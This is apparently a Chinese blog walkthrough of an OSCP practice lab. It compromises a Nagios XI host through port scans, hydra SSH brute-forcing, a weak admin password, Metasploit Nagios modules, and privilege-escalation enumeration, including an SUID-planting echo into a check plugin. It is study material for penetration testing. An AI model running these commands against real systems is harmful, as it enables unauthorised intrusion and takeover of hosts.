• OSCP系列靶场-Esay-Monitoring保姆级


    OSCP系列渗透-Esay-Monitoring

    总结

    getwebshell : 登录处的最佳实践(弱口令)进入后台 → msf历史漏洞利用

    提 权 思 路 : 发现suidcheck文件 → msfcheck插件漏洞利用

    准备工作

    • 启动VPN
      获取攻击机IP → 192.168.45.191

    • 启动靶机
      获取目标机器IP → 192.168.179.136

    信息收集-端口扫描

    目标开放端口收集

    • Nmap开放端口扫描2次(多次扫描减少误扫)
    sudo nmap --min-rate 10000 -p- 192.168.179.136
    
    PORT     STATE SERVICE
    22/tcp   open  ssh
    25/tcp   open  smtp
    80/tcp   open  http
    389/tcp  open  ldap
    443/tcp  open  https
    5667/tcp open  unknown
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10


    开放的端口-→22,25,80,389,443,5667

    目标端口对应服务探测

    # tcp探测
    sudo nmap -sT -sV -O -sC -p22,25,80,389,443,5667 192.168.179.136
    
    PORT     STATE SERVICE    VERSION                            
    22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)    
    25/tcp   open  smtp       Postfix smtpd             
    80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
    389/tcp  open  ldap       OpenLDAP 2.2.X - 2.3.X
    443/tcp  open  ssl/http   Apache httpd 2.4.18 ((Ubuntu))
    5667/tcp open  tcpwrapped
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    这样看的话开放的端口是挺多的

    信息收集-端口测试

    22-SSH端口的信息收集

    22-SSH端口版本信息与MSF利用

    通过Nmap探测获得SSH的版本信息,可以尝试利用
    探测版本为OpenSSH 7.2p2 Ubuntu 4ubuntu2.10

    # 搜索对应脚本
    msf6 → searchsploit OpenSSH 7.2p2
    
    • 1
    • 2

    发现搜索到可利用的和用户枚举有关(待定)

    22-SSH协议支持的登录方式

    通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

    sudo ssh root @192.168.179.136 -v
    
    • 1

    显示publickeypassword就是支持密钥以及密码登录

    22-SSH手动登录尝试(无)

    因为支持密码登录,尝试root账户的密码弱密码尝试

    ┌──(root㉿Kali)-[/home/bachang/Monitoring]
    └─# sudo ssh root @192.168.179.136 -p 22
    root @192.168.179.136's password: root
    Permission denied, please try again.
    
    • 1
    • 2
    • 3
    • 4


    弱密码尝试失败

    22-SSH弱口令爆破(静静等待)

    因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

    sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.179.136 ssh -s 22
    
    • 1

    挂着工具进行爆破,我们尝试后续信息收集

    25-SMTP端口(待定)

    25/tcp open smtp Postfix smtpd
    该端口接触较少,先待定,和邮件有关

    80-HTTP端口的信息收集

    访问 http://192.168.179.136:80 看上去是一个标准的CMS


    戳了一下Access Nagios XI跳转到了登录窗口

    信息收集-网站指纹
    ┌──(root㉿Kali)-[/home/bachang/Monitoring]
    └─# whatweb http://192.168.179.136:80
    http://192.168.179.136:80 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.179.136], JQuery[3.3.1], Script[text/javascript], Title[Nagios XI]
    
    • 1
    • 2
    • 3

    CMSNagios XI

    漏洞利用-网站指纹
    searchsploit Nagios XI
    
    • 1


    总体来说利用是需要版本的,前面一些不需要版本,尝试直接使用

    msf6 → search Nagios XI
    
    • 1

    use 3
    
    • 1

    选择了较新且rank好的,查看了一下发现是需要密码的

    信息收集-HTML隐藏信息查看(无)
    # 包括文章中是否写明一些敏感信息
    curl http://192.168.179.136:80
    
    • 1
    • 2
    信息收集-目录扫描
    信息收集-目录扫描初步
    dirsearch -u http://192.168.179.136:80 -x 302,403
    
    • 1

    漏洞利用-getwebshell

    在目录扫描的同时其实在思考这应该是一个标准的CMS,是否会存在通用脆弱口令的情况(MSF的利用需要密码)。

    登录端点的最佳实践

    • 尝试寻找网上是否存在该cms的登录凭证


    得到账户以及密码 nagiosadmin:nagios
    登录之后发现不正确

    • 利用默认登录凭证测试弱口令漏洞
      测试nagiosadmin的弱口令密码,主要测试
    1. 数字序列:例如123456、123456789、111111等简单的数字序列。
    2. 字母序列:例如abcdefg、qwerty、password等简单的字母序列。
    3. 字典词汇:例如admin、password、12345678等常见的字典单词。
    4. 重复字符:例如11111、aaaaaa等重复的字符序列。
    5. 键盘连续字符:例如qwertyuiop、asdfghjkl等键盘上连续的字符。
    123456     #  数字序列
    123456789  #  数字序列
    987654321  #  数字序列
    admin      #  字典词汇
    password   #  字典词汇
    root       #  字典词汇
    111111     #  重复字符
    aaaaaa     #  重复字符
    abcdefg    #  键盘连续字符
    qwertyuiop #  键盘连续字符
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    在测试的过程中,发现利用admin进入了后台

    得到版本信息Nagios XI 5.6.0

    指纹漏洞利用实践

    MSF利用一(失败)

    既然知道了密码admin尝试利用之前的msf

    提示版本错误,那重新搜索吧

    MSF利用二(失败)
    msf6 → search Nagios XI 5.6.0
    
    • 1

    发现只有一个,尝试利用


    设置完信息之后进行运行,连接成功但是没有创建会话


    决定换个payloads进行尝试,发现能成功连接但是运行不成功,可能是该exp不行

    MSF利用三
    msf6 → search Nagios
    
    • 1

    发现了多个,根据内容进行筛选


    总感觉大部分都能用,但是3和4用了都不太行,决定用退求其次
    在这里10和11中选择了11进行尝试


    成功getwebshell

    内网遨游-getshell

    交互shell

    # 利用python获取交互shell
    python -c "import pty;pty.spawn('/bin/bash')";
    
    • 1
    • 2

    FLAG1获取(无)

    find / -name local.txt 2→/dev/null
    
    • 1

    信息收集-内网基础信息收集

    提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

    检测Linux操作系统的发行版本

    较老的Ubuntu以及Linux系统可以overlayfs提权

    # 确定发行版本
    www-data @ubuntu:/usr/local/nagiosxi/html/admin$ lsb_release -a
    
    No LSB modules are available.
    Distributor ID: Ubuntu
    Description:    Ubuntu 16.04.7 LTS
    Release:        16.04
    Codename:       xenial
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    发行版本为Ubuntu,不太能overlayfs提权

    检测Linux操作系统的内核版本

    较低的内核版本可以进行脏牛提权

    www-data @ubuntu:/usr/local/nagiosxi/html/admin$ uname -a
    Linux ubuntu 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
    
    • 1
    • 2

    内核版本为4.4.0

    列举出所有的sudo文件

    查找具有sudo权限,且不需要密码的可提权文件
    如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

    # 利用sudo -l寻找
    sudo -l
    
    • 1
    • 2


    使用的时候需要密码 唔

    列举出所有suid文件

    如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

    # -perm 文件权限
    find / -perm -u=s -type f 2→/dev/null
    
    • 1
    • 2

    /etc/passwd权限收集

    如果/etc/passwd具有写入权限可以尝试覆盖密码提权

    www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /etc/passwd
    -rw-r--r-- 1 root root 1985 Sep  8  2020 /etc/passwd
    
    • 1
    • 2
    /etc/shadow权限收集
    • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
    • 如果/etc/shadow具有可读权限可以爆破密码
    www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /etc/shadow
    ls -al /etc/shadow
    -rw-r----- 1 root shadow 1244 Mar 23  2021 /etc/shadow
    www-data @ubuntu:/usr/local/nagiosxi/html/admin$ 
    
    • 1
    • 2
    • 3
    • 4
    getcap标志进程收集

    高版本下suid列举不全,查看getcap

    # 探查有CAP_SETUID标志的进程
    /usr/sbin/getcap -r / 2→/dev/null
    # 无
    
    • 1
    • 2
    • 3
    列举定时任务

    查找所有的定时任务,并且查看定时任务是否具有修改权限

    # 寻找定时任务并修改进行提权
    cat /etc/crontab
    
    • 1
    • 2

    查看历史信息

    可能用户留下的历史信息具有有用的信息

    history
    
    • 1

    无信息

    确认/home目录下信息

    /home目录下的用户可以做账号字典尝试弱密码以及爆破

    www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /home
    total 12
    drwxr-xr-x  2 coconut coconut 4096 Mar 23  2021 coconut
    
    • 1
    • 2
    • 3
    确认当前用户home目录下是否有隐藏文件
    # 例如.ssh找密码  ./*_history找历史记录等
    www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /home/coconut
    lrwxrwxrwx 1 root    root       9 Jan 28  2021 .bash_history -→ /dev/null
    -rw-r--r-- 1 coconut coconut  220 Sep  8  2020 .bash_logout
    -rw-r--r-- 1 coconut coconut 3771 Sep  8  2020 .bashrc
    -rw-r--r-- 1 coconut coconut  655 Sep  8  2020 .profile
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6


    尝试弱密码无效,准备利用hyrda尝试

    # -P 指定密码字典
    hydra -l coconut -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.179.136 ssh -s 22
    
    • 1
    • 2

    在爆破的过程中研究一下suid文件


    尝试写入恶意内容进行利用

    echo'#!/bin/sh
    chmod +s /usr/bin/find' → /usr/local/nagios/libexec/check_dhcp
    
    • 1
    • 2

    写入之后发现再用find查阅不是suid

    收集中的思考

    收集了半天,却没发现什么有用的内容,真有意思
    这时候就是努力学习的过程,参考了网上的wp,他们用了msf中的第10个
    而我用了第11个


    这时候灵光一闪,理解了为什么用10是直接root权限,这也是全网都没人写的
    回到suid权限文件收集,可以发现了利用check是直接root的,那么rce也是直接root

    权限提升

    suid之check_plugin权限提升

    search Nagios
    use 10
    
    • 1
    • 2


    经过了一系列的设置之后run
    提权成功

    FLAG2获取

    cat /root/proof.txt
    0559c8f500a23ba2628189a1b06b557f
    
    • 1
    • 2

    完结撒花~

    思考

    在利用msf搜索的时候,有时候不能太精确的搜索版本

    在内网中细节还是要注意,虽然我之前看到了suidcheck_icmp,没有利用成功,可以考虑从外部尝试

    find suid都要试试看先比较好

    后记

    发现

    # 才知道是可以这样执行的
    sudo /usr/bin/php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php *  
    # 不过查看了一下权限,只能读
    ls -al /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php   
    -r-xr-x--- 1 root nagios 177241 Sep  8  2020 /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php    
    
    • 1
    • 2
    • 3
    • 4
    • 5
  • 相关阅读:
    Java使用FFmpeg对视频文件打标记
    算法每日一题(反转单链表)C语言版
    【C语言指针】用指针提升数组的运算效率
    机器视觉Halcon中read_image算子探究与学习
    各大电商API接口明细,API文档返回值说明
    理“ Druid 元数据”之乱
    Linux教程:如何安装redis服务并搭建三主三从集群部署环境
    springboot+shiro中自定义session过期时间
    2022-11-20-使用BeatuifulSoup进行页面内容的获取
    设计模式之代理模式
  • 原文地址:https://blog.csdn.net/qq_61812944/article/details/133063712